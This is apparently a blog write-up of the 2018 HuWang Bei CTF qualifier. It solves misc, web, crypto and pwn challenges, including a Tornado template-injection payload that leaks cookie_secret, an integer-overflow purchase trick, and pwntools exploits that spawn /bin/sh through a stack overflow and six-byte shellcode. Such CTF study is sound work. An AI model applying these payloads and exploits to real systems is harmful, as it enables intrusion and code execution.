The result of tag: (1 results)

2018护网杯线上赛writeup

by LauCyun Oct 14,2018 02:13:24 17,243 views

昨天护网杯的预选比赛落下帷幕,最终排名如图1所示:


图1 排行榜

赛题附件和Web题的Docker环境(部分)传送门:https://git.laucyun.com/laucyun/ctf/tree/master/2018/2018年护网杯

0x1 MISC

1 迟来的签到

题目提示easy xor???,下载一个txt文件,文件内容如下:

AAoHAR1WI1BRX1RQJ1AgJVdfI1VXJ1JTJ1BVXiIjVyRRIiMlJRs=

显然Base64,那就写个脚本直接爆破异或,脚本如下:

import base64

d = "AAoHAR1WI1BRX1RQJ1AgJVdfI1VXJ1JTJ1BVXiIjVyRRIiMlJRs="
d = base64.b64decode(d)

for i in range(255):
    s = ''
    for j in d:
        s = s + chr(i ^ ord(j))

    if 'flag' in s:
        print s

最终得到flag{0E67926A6FC19E31A45A638DE1B7DECC}

0x2 WEB

1 easy tornado

赛后出题人share了其Docker环境:easy_tornado

进入题目网站,发现三个文件,如图2所示:


图2 easy tornado

分别打开,列出URL和内容:

http://49.4.78.81:30980/file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a

Orz.txt 
render()


http://49.4.78.81:30980/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f1

hint.txt 
md5(cookie_secret + md5(filename))


http://49.4.78.81:30980/file?filename=flag.txt&signature=6a86c265598a92ae8bff5c9f7b9f2a72

flag.txt 
/fllllllllllag

发现规律如下:

http://49.4.78.81:30980/file?filename=[文件名]&signature=[签名]

签名是md5(cookie_secret + md5(filename))

关键点在于找到cookie_secret

根据题目描述可知使用了tornoda框架,进去后根据提示信息render和需要cookie_secret猜测会存在注入,把签名随便改一下就会跳转到错误页面,所以错误页面存在注入。

测试发现过滤了`"%'()*+/=[]|`和一些关键字,输入:

http://49.4.78.81:30980/error?msg={{1^0}}


图3 easy tornado提示信息

到这里可以确定可以进行模板注入。

通过阅读tornado的源码https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py,找到handler.settings保存了配置信息,于是尝试输入http://49.4.78.81:30980/error?msg={{handler.settings}},得到:

Whoops, looks like somethings went wrong . 
{'login_url': '/login', 'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret': '0tG+hY[4ekR($v72OzJa)M9d!jV8sF.n1>{Zo#*pPIm_<W%L3-T~AuQlBbqr6}ig', 'debug': False, 'file_path': '/www/static/files', 'static_path': 'static'}

构造URL为?filename=/fllllllllllag&signature=20e954ed0f6c471e2ea1f151c7bb6334,最终得到flag如图4所示:


图4 easy tornado flag 

2 LTshop

本题的考点在于条件竞争以及整数的溢出问题。

首先进入网页后,观察到有sign up,然后sign in,进入一个买辣条的界面(如图5),可以知道5元可以买一包大辣条,多包大辣条可以换一包辣条之王,多包辣条之王可以换Flag。


图5 LTshop

进入info查看余额,发现,至多可以买4包大辣条,不满足辣条之王的兑换。

尝试条件竞争,打开Burpsuit,购买一包大辣条,抓取其数据,发送到Intruder,点击Positions,设置100个线程,如图6所示:


图6 多线程买辣条

等待一段时间后,发现发现买的数量明显超过预期,但远远买不到足够的辣条之王。

此时发现辣条之王有填写兑换数,不同数量的反馈是不同的,比如:购买2个,提醒的是大辣条数量不足,而购买-1个或者99999999999999999999则是数量非法,所以我们可以猜测题目使用uint64作为变量的类型。

可以推测题目的逻辑如下:

var number uint
if number * 5 <= 大辣条数目 {
    辣条之王 += number
}

很明显存在着乘法上溢问题,如果构造num = 3689348814741910324,经过测试可得 number * 5 = 44 <= 5 成立

i = 2**64 / 5 + 1   # 3689348814741910324
j = i * 5 - 2 ** 64 # 4

所以溢出后的值比较小,在辣条的数量之内,从而兑换成功。


图7 兑换成功

注意:溢出的时候不能太大,因为太大导致溢出后的值过大而超过辣条的数量,就会出现兑换数目非法。

而此时已经有近乎无限的辣条之王。。。再兑换Flag,即可得到flag,如图8所示:


图8 LTshop flag

3 easy_laravel

赛后找到了出题者@sco4x0的出题记录:护网杯2018 easy_laravel出题记录,Docker环境:easy_laravel

0x3 CRYPTO

1 fez

 题目给了fez.pyfez.log两个文件,文件内容如下:

fz.py:

import os
def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c
def f(x,k):
    return xor(xor(x,k),7)
def round(M,K):
    L=M[0:27]
    R=M[27:54]
    new_l=R
    new_r=xor(xor(R,L),K)
    return new_l+new_r
def fez(m,K):
    for i in K:
        m=round(m,i)
    return m

K=[]
for i in range(7):
    K.append(os.urandom(27))
m=open("flag","rb").read()
assert len(m)<54
m+=os.urandom(54-len(m))

test=os.urandom(54)
print test.encode("hex")
print fez(test,K).encode("hex")
print fez(m,K).encode("hex")

fez.log:

6c34525bcc8c004abbb2815031542849daeade4f774425a6a49e545188f670ce4667df9db0b7ded2a25cdaa6e2a26f0d384d9699988f
8cf87cc3c55369255b1c0dd4384092026aea1e37899675de8cd3a097f00a14a772ff135240fd03e77c9da02d7a2bc590fe797cfee990
ec42b9876a716393a8d1776b7e4be84511511ba579404f59956ce6fd12fc6cbfba909c6e5a6ab3e746aec5d31dc62e480009317af1bb

 通过观察fez.py文件,知道它是读入了一个flag文件,补足到54个长度,然后对flag进行加密,然后最后三个print出来的就在fez.log文件里面。

这里os.urandom(length)作用是生成一个随机内容的,长度为length的字符串。

显然,想解出flag必须知道test、 KK是长度为7list,每个元素对应一个随机字符串。

我们观察fez()函数以及调用方法可以发现,然后进行推导,如图9所示:


图9 fez推导过程

等号两边同时异或:a ^ a ^ b = b,相同xor抵消。

解密就很简单了,编写脚本如下:

def xor(a, b):
    assert len(a) == len(b)
    c = ""
    for i in range(len(a)):
        c += chr(ord(a[i]) ^ ord(b[i]))
    return c


log = [
    '6c34525bcc8c004abbb2815031542849daeade4f774425a6a49e545188f670ce4667df9db0b7ded2a25cdaa6e2a26f0d384d9699988f',
    '8cf87cc3c55369255b1c0dd4384092026aea1e37899675de8cd3a097f00a14a772ff135240fd03e77c9da02d7a2bc590fe797cfee990',
    'ec42b9876a716393a8d1776b7e4be84511511ba579404f59956ce6fd12fc6cbfba909c6e5a6ab3e746aec5d31dc62e480009317af1bb'
]
t_L = log[0][:54].decode("hex")
t_R = log[0][54:].decode("hex")

k2356 = xor(log[1][:54].decode("hex"), t_R)
k13467 = xor(xor(log[1][54:].decode("hex"), t_R), t_L)

m_R = xor(log[2][:54].decode("hex"), k2356)
m_L = xor(xor(log[2][54:].decode("hex"), m_R), k13467)

print m_L + m_R  # flag{festel_weak_666_lol9991234admin}�a��&��Y����w�'�

最后解的flag是flag{festel_weak_666_lol9991234admin}

2 WPA2

一个关于WPA2协议的题目,而且WPA2采用的是CMMP加密。

根据nc返回来的内容如下:

$ nc 117.78.26.200 31322

Welcome to HuWang Bei WPA2 Simulation System.. Initilizing Parameters..

SSID = HuWang

PSK = IOsw5WndwoYO2UmC

AP_MAC = FD:A4:2C:4E:AB:39

AP_Nonce = e241d7bb7a6a5a8cf89c5597a8ac7f1e9c2f878e124809c9f95dd5b35061120e

STA_MAC = C9:42:E9:BC:A6:E9

STA_Nonce = d98aae66ab2c231a0ae01d5a72df46b75d24313aa35bac1fe79516f4c022ca6f

CCMP Encrypted Packet = 88423a01c942e9bca6e9fda42c4eab39fda42c4eab396092000062a300208d0000003ac5d4f9b099a573adf0021a037a46cfb469dc9e3891c8202d499faff9e6873459fb21ab30beae519d

根据PSKMACNounce可以得到加密的密钥。

后来主办方又给出了task_WPA2.py,通过阅读代码,了解到更多的加密细节。

#!/usr/bin/env python

import hmac
from hashlib import pbkdf2_hmac,sha1,md5
from Crypto.Cipher import AES
import string
import random
import struct

def PRF(key,A,B):
	nByte = 48
	i = 0
	R = ''
	
	while ( i <= ((nByte*8 + 159)/160)):
		hmacsha1 = hmac.new(key,A+"\x00" + B + chr(i),sha1)
		R += hmacsha1.digest()
		i += 1
	return R[0:nByte]

def MakeAB(aNonce,sNonce,apMac,cliMac):
	A = "Pairwise key expansion"
	B = min(apMac,cliMac) + max(apMac,cliMac) + min(aNonce, sNonce) + max(aNonce, sNonce)
	return (A,B)

def MakeKeys(pwd,ssid,A,B):
	pmk = pbkdf2_hmac('sha1',pwd,ssid,4096,32)
	
	ptk = PRF(pmk,A,B)
	
	return (ptk,pmk)
def XOR(b1,b2,l):
	if (len(b1)<l or len(b2)<l):
		return None
	res = ''
	for i in range(l):
		res += chr(ord(b1[i]) ^ ord(b2[i]))
	if (len(b1)>l):
		res += b1[l:]
	return res

def EncryptCCMP(indata,TK,PN):
    if len(TK) != 16 or len(PN) != 6:
        return None

    is_a4 = (ord(indata[1]) & 0x03) == 3
    is_qos = (ord(indata[0]) & 0x8c) == 0x88

    z = 24 + 6 * (1 if is_a4 else 0)
    z += 2 * (1 if is_qos else 0)

    h80211 = list(indata)

    h80211[z + 0] = PN[5]
    h80211[z + 1] = PN[4]
    h80211[z + 2] = '\x00'
    h80211[z + 3] = '\x20'
    h80211[z + 4] = PN[3]
    h80211[z + 5] = PN[2]
    h80211[z + 6] = PN[1]
    h80211[z + 7] = PN[0]

    inputpkt = ''.join(h80211)

    data_len = len(inputpkt) - z - 8
    B0 = ''
    B0 += '\x59'
    B0 += '\x00'
    B0 += inputpkt[10:16]
    B0 += PN
    B0 += chr((data_len >> 8) & 0xFF)
    B0 += chr(data_len & 0xFF)

    AAD = '\x00' * 2  # [0] [1]

    AAD += chr(ord(inputpkt[0]) & 0x8F)  # [2]
    AAD += chr(ord(inputpkt[1]) & 0xC7)  # [3]
    AAD += inputpkt[4:4 + 3 * 6]  # [4]..[21]
    AAD += chr(ord(inputpkt[22]) & 0x0F)  # [22]

    AAD += '\x00'  # [23]

    if (is_a4):
        AAD += inputpkt[24:24 + 6]  # [24]..[29]
        if (is_qos):
            AAD += chr(ord(inputpkt[z - 2]) & 0x0F)  # [30]
            AAD += '\x00'  # [31]
            tmp = list(B0)
            tmp[1] = AAD[30]
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 2 + 6)
            AAD = ''.join(tmp)
        else:
            AAD += '\x00' * 2  # [30]..[31]
            tmp = list(B0)
            tmp[1] = '\x00'
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 6)
            AAD = ''.join(tmp)
    else:
        if (is_qos):
            AAD += chr(ord(inputpkt[z - 2]) & 0x0F)  # [24]
            AAD += '\x00'  # [25]
            tmp = list(B0)
            tmp[1] = AAD[24]
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22 + 2)
            AAD = ''.join(tmp)
        else:
            AAD += '\x00' * 2  # [24]..[25]
            tmp = list(B0)
            tmp[1] = '\x00'
            B0 = ''.join(tmp)
            tmp = list(AAD)
            tmp[1] = chr(22)
            AAD = ''.join(tmp)
        AAD += '\x00' * 6

    cipher = AES.new(TK, AES.MODE_ECB)
    MIC = cipher.encrypt(B0)
    MIC = XOR(MIC, AAD, 16)
    MIC = cipher.encrypt(MIC)
    MIC = XOR(MIC, AAD[16:], 16)
    MIC = cipher.encrypt(MIC)

    tmp = list(B0)
    tmp[0] = chr(ord(tmp[0]) & 0x07)
    tmp[14] = '\x00'
    tmp[15] = '\x00'
    B0 = ''.join(tmp)

    B = cipher.encrypt(B0)
    initMIC = B

    blocks = (data_len + 16 - 1) / 16
    last = data_len % 16
    offset = z + 8

    encryptedPacket = ''

    for i in range(1, blocks + 1):
        n = last if (last > 0 and i == blocks) else 16
        MIC = XOR(MIC,inputpkt[offset:offset+n],n)
        MIC = cipher.encrypt(MIC)
        tmp = list(B0)
        tmp[14] = chr((i >> 8) & 0xFF)
        tmp[15] = chr(i & 0xFF)
        B0 = ''.join(tmp)
        B = cipher.encrypt(B0)
        out = XOR(inputpkt[offset:offset + n], B, n)
        encryptedPacket += out


        offset += n

    encryptedPacket = inputpkt[:z+8] + encryptedPacket
    encryptedPacket += XOR(initMIC,MIC,8)[:8]

    return encryptedPacket

if __name__=="__main__":

	print "Welcome to HuWang Bei WPA2 Simulation System.. Initilizing Parameters.."
	print ""
	
	ssid = "HuWang"
	
	psk = ''.join(random.choice(string.ascii_uppercase+ string.ascii_lowercase + string.digits) for _ in range(16))
	rnddev = open("/dev/urandom","rb")
	
	aNonce = rnddev.read(32)
	
	sNonce = rnddev.read(32)
	
	apMac = rnddev.read(6)
	
	staMac = rnddev.read(6)
	
	rnddev.close()
	
	print "SSID = "+ssid
	print ""
	
	print "PSK = "+psk
	print ""
	
	outmac=apMac.encode('hex').upper()
	macaddr = ''
	for i in range(len(outmac)):
		macaddr += outmac[i]
		if (i%2!=0 and i<len(outmac)-1):
			macaddr+=':'
	print "AP_MAC = "+macaddr
	print ""
	
	print "AP_Nonce = "+aNonce.encode('hex')
	print ""
	
	outmac=staMac.encode('hex').upper()
	macaddr = ''
	for i in range(len(outmac)):
		macaddr += outmac[i]
		if (i%2!=0 and i<len(outmac)-1):
			macaddr+=':'
	
	print "STA_MAC = "+macaddr
	print ""
			
	print "STA_Nonce = "+sNonce.encode('hex')
	print ""
	
	A,B = MakeAB(aNonce,sNonce,apMac,staMac)
	
	ptk,pmk = MakeKeys(psk,ssid,A,B)
	
	key = ptk[-16:]
	
	chlvalue = ''.join(random.choice(string.ascii_uppercase+ string.ascii_lowercase + string.digits) for _ in range(16))
	challenge = "Challenge Vlaue: "+chlvalue
	
	
	datapkt = ("88423a01"+staMac.encode('hex')+apMac.encode('hex')+apMac.encode('hex')+"60920000"+"0000002000000000"+challenge.encode('hex')).decode('hex')
	
	packetNumber = struct.pack(">Q",random.randint(1,9999999))[2:]
	
	outtoUser = EncryptCCMP(datapkt,key,packetNumber)
	
	print "CCMP Encrypted Packet = "+outtoUser.encode("hex")
	print ""
	
	userinput = raw_input("Input decrypted challenge value in Packet:")
	print ""
	
	if (userinput == chlvalue):
		f = open("flag","r")
		content = f.read()
		f.close()
		print "Congratulations!Your flag is: "+content
	else:
		print "Wrong!"

根据代码可以先进行解包,从网络包中得到真正的密文部分,然后用密钥进行解密即可。

通过SSID、PSK、AP_MAC、STA_MAC、STA_Nonce、CCMP等关键字搜索WPA2的加密模式,最终搜到@REMath大神的80211_Crypto.ipynb,改了改直接就OK Hand了,脚本如下:

from binascii import a2b_hex, b2a_hex, a2b_qp
from pbkdf2 import PBKDF2
import hmac
from hashlib import sha1
import struct
from Crypto.Cipher import AES


def PRF512(key, A, B):
    blen = 64
    R = ''
    for i in range(0, 4):
        hmacsha1 = hmac.new(key, A + B + chr(i), sha1)
        R = R + hmacsha1.digest()
    return R[:blen]


def frame_type(packet):
    header_two_bytes = struct.unpack("h", (packet[0:2]))[0]
    fc_type = bin(header_two_bytes)[-8:][4:6]
    if fc_type == "10":
        return "data"
    else:
        return None


def compute_pairwise_master_key(preshared_key, ssid):
    return PBKDF2(preshared_key, ssid, 4096).read(32)


def compute_message_integrity_check(pairwise_transient_key, data):
    return hmac.new(pairwise_transient_key[0:16], data, sha1).digest()[0:16]


def compute_pairwise_transient_key(pairwise_master_key, A, B):
    return PRF512(pairwise_master_key, A, B)


ssid = "HuWang"
preshared_key = "IOsw5WndwoYO2UmC"
ap_mac = "FD:A4:2C:4E:AB:39".replace(":", "")
ap_nonce = "e241d7bb7a6a5a8cf89c5597a8ac7f1e9c2f878e124809c9f95dd5b35061120e"
mac = "C9:42:E9:BC:A6:E9".replace(":", "")
mac_nonce = "d98aae66ab2c231a0ae01d5a72df46b75d24313aa35bac1fe79516f4c022ca6f"
ccmp_encrypted_packet = "88423a01c942e9bca6e9fda42c4eab39fda42c4eab396092000062a300208d0000003ac5d4f9b099a573adf0021a037a46cfb469dc9e3891c8202d499faff9e6873459fb21ab30beae519d"

# From message 2 in handshake QoS data for 802.11, packet 95 in example pcap
message_2_data = ccmp_encrypted_packet
message_2_data = a2b_hex(message_2_data)

message_intgrity_code = message_2_data[115:131]
data = message_2_data[34:115] + "\x00" * 16 + message_2_data[131:]

# authenticator nonce found in message 1 of handshake, packet 93 in example
a_nonce = a2b_hex(ap_nonce)

# supplicant nonce found in message 2 of handshake, packet 95 in example
s_nonce = a2b_hex(mac_nonce)

mac_access_point = a2b_hex(ap_mac)
mac_client = a2b_hex(mac)

A = "Pairwise key expansion" + '\x00'
B = min(mac_access_point, mac_client) + max(mac_access_point, mac_client) + min(a_nonce, s_nonce) + max(a_nonce, s_nonce)

pairwise_master_key = compute_pairwise_master_key(preshared_key, ssid)
pairwise_transient_key = compute_pairwise_transient_key(pairwise_master_key, A, B)
mic = compute_message_integrity_check(pairwise_transient_key, data)

#
key_confirmation_key = pairwise_transient_key[0:16]
key_encryption_key = pairwise_transient_key[16:16 * 2]
temporal_key = pairwise_transient_key[16 * 2:(16 * 2) + 16]
mic_authenticator_tx = pairwise_transient_key[16 * 3:(16 * 3) + 8]
mic_authenticator_rx = pairwise_transient_key[(16 * 3) + 8:(16 * 3) + 8 + 8]

#
packet_103_encrypted_total_packet = ccmp_encrypted_packet
packet_103_encrypted_total_packet = a2b_hex(packet_103_encrypted_total_packet)
packet_103_encrypted_data = packet_103_encrypted_total_packet[34:34 + 84]

#
ccmp_header = packet_103_encrypted_total_packet[26:26 + 8]
ieee80211_header = packet_103_encrypted_total_packet[0:26]
source_address = packet_103_encrypted_total_packet[10:16]

#
PN5 = ccmp_header[7]
PN4 = ccmp_header[6]
PN3 = ccmp_header[5]
PN2 = ccmp_header[4]
PN1 = ccmp_header[1]
PN0 = ccmp_header[0]

last_part_of_nonce = PN5 + PN4 + PN3 + PN2 + PN1 + PN0

flag = a2b_hex('01')
qos_priorty = a2b_hex('00')

#
nonce_ = qos_priorty + source_address + last_part_of_nonce
IV = flag + nonce_


#
class WPA2Counter(object):
    def __init__(self, secret):
        self.secret = secret
        self.current = 1

    def counter(self):
        count = a2b_hex(struct.pack('>h', self.current).encode('hex'))
        i = self.secret + count
        self.current += 1
        return i


#
counter = WPA2Counter(IV)
crypto = AES.new(temporal_key, AES.MODE_CTR, counter=counter.counter)
test = packet_103_encrypted_data[0:-8]
print crypto.decrypt(test)

得到的是16byte随机的challenge value,得到flag是flag: flag{6ae7ecdd73a5d4fa1d34f5f7b447ca58}

0x4 PWN

1 gettingStart

先下载task_gettingStart_ktQeERc,拖进IDA,进到main函数中,然后直接F5看伪代码,如图10所示:


图10 gettingStart伪代码

看到read(0, &buf, 0x28uLL);后,这明显就是栈溢出。

通过分析发现,栈是由向下往高地址生长,bufv7的偏移是0x18,到v8的偏移是0x20,所以直接覆盖v7(0x7FFFFFFFFFFFFFFF)v8(0.1)的数据达到条件即可获得shell。

但是64位的double 0.1在内存是咋样存储的呢?最终找到如图11所示:

double 0.1在内存中的存储形式,具体可以参考:https://math.stackexchange.com/questions/1791562/converting-0-1-to-binary-64-bit-double


图11 64位double 0.1的内存存储形式

所以构造exp脚本:

from pwn import *

# p = process("./task_gettingStart_ktQeERc")
p = remote("49.4.78.31", 30482)
p.recv()
payload = '\0' * 0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
p.send(payload)
p.interactive()

最终得到的flag是flag{e47ba37e5e4fe4d6538f91955c63ef23}

2 six

非常巧,本题跟云贵铁三赛中PWN第三题,只不过由七字节的shellcode变成六字节的shellcode,其他都没有变化。

本题思路来源于@pwndog师傅的http://www.pwndog.top/2018/08/23/一个有趣的PWN-铁三云贵第三题

先下载task_attachments_csyNf1R.zip,先用checksec查看一下程序保护情况,如图12所示:


图12 checksec

全保护开启。。。

拖进IDA,进到main函数中,然后直接F5看伪代码,如图13所示:


图13 main函数

发现main函数中调用了sub_9CA();sub_B05((__int64)&s);两个函数,其伪代码如图14、15所示:


图14 sub_9CA函数


图15 sub_B05函数

 在sub_9CA();函数中,程序申请了两块0x1000的内存,分别用作栈和代码段,v3有可读可写可执行权限,buf有可写可执行权限。

mmap将一个文件或者其它对象映射进内存。文件被映射到多个页上,如果文件的大小不是所有页的大小之和,最后一个页不被使用的空间将会清零。mmap在用户空间映射调用系统中作用很大。

函数原型:void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);

  • prot:期望的内存保护标志,不能与文件的打开模式冲突。是以下的某个值,可以通过or运算合理地组合在一起:
    • PROT_READ     //页内容可以被读取
    • PROT_WRITE  //页可以被写入
    • PROT_EXEC      //页内容可以被执行
    • PROT_NONE   //页不可访问

接着输入6个字节的shellcode,放入刚才mmap的空间中,然后执行shellcode,而且shellcode要满足:3个奇数,3个偶数,并且不能相同,如图15所示。

可以看到生成的方法是用/dev/urandom的随机数,一开始看到这个生成方法时觉得二者是不可能连在一起的,但是当这两个地址冲突或者不符合条件时,mmap会随机分配这个地址,而当二者均随机分配时,则这两个地址是相连的。这个前提解决了很多问题,节省了很多指令。

而在执行shellcode时,预先将除rsprip其他寄存器全部置零了:


图16 寄存器置零

当两块内存相连时,如果从rsp进行覆写的话,是可以覆写到代码段的。

因此shellcode如下:

push   rsp
pop    rsi
mov    edx, esi
syscall

如此,便可以从栈上向代码段一直写入,直到写入现在的rip,所以接下来覆盖要执行的指令如下:

mov    eax, 0x3b
mov    rdi, rsi
xor    rdx, rdx
xor    rsi, rsi
syscall

所以,构造exp脚本如下:

from pwn import *

# context.binary = "./six"
# context.log_level = "debug"
# context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

def main(debug, ip, port):
    if debug == 1:
        p = process("./six")
    else:
        p = remote(ip, port)

    # shellcode
    p.readuntil("Show Ne0 your shellcode:")
    # shellcode = asm("""
    # push   rsp
    # pop    rsi
    # mov    edx, esi
    # syscall
    # """)  # 545e89f20f05
    shellcode = chr(0x54) + chr(0x5e) + chr(0x89) + chr(0xf2) + chr(0x0F) + chr(0x05)
    p.send(shellcode)
    
    # payload
    # shell = asm("""
    # mov    eax, 0x3b
    # mov    rdi, rsi
    # xor    rdx, rdx
    # xor    rsi, rsi
    # syscall
    # """)  # b83b0000004889f74831d24831f60f05
    # shell += "/bin/sh\0"  # 2f62696e2f736800
    sl = [
        0xb8, 0x3b, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf7, 0x48, 0x31, 0xd2, 0x48, 0x31, 0xf6, 0x0f, 0x05,
        0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
    ]
    shell = ""
    for i in range(0, len(sl)):
        shell += chr(sl[i])
    payload = '\0' * 0xb36 + shell
    p.writeline(payload)
    p.interactive()


if __name__ == '__main__':
    main(0, '117.78.26.97', 32200)

最终即可得到flag。

0x5 修改记录

Oct 14,2018 02:13:24:撰写并发布。

Oct 16,2018 10:15:24:添加赛题附件和Web题的Docker环境链接,修改部分附件下载链接。

...

Tags Read More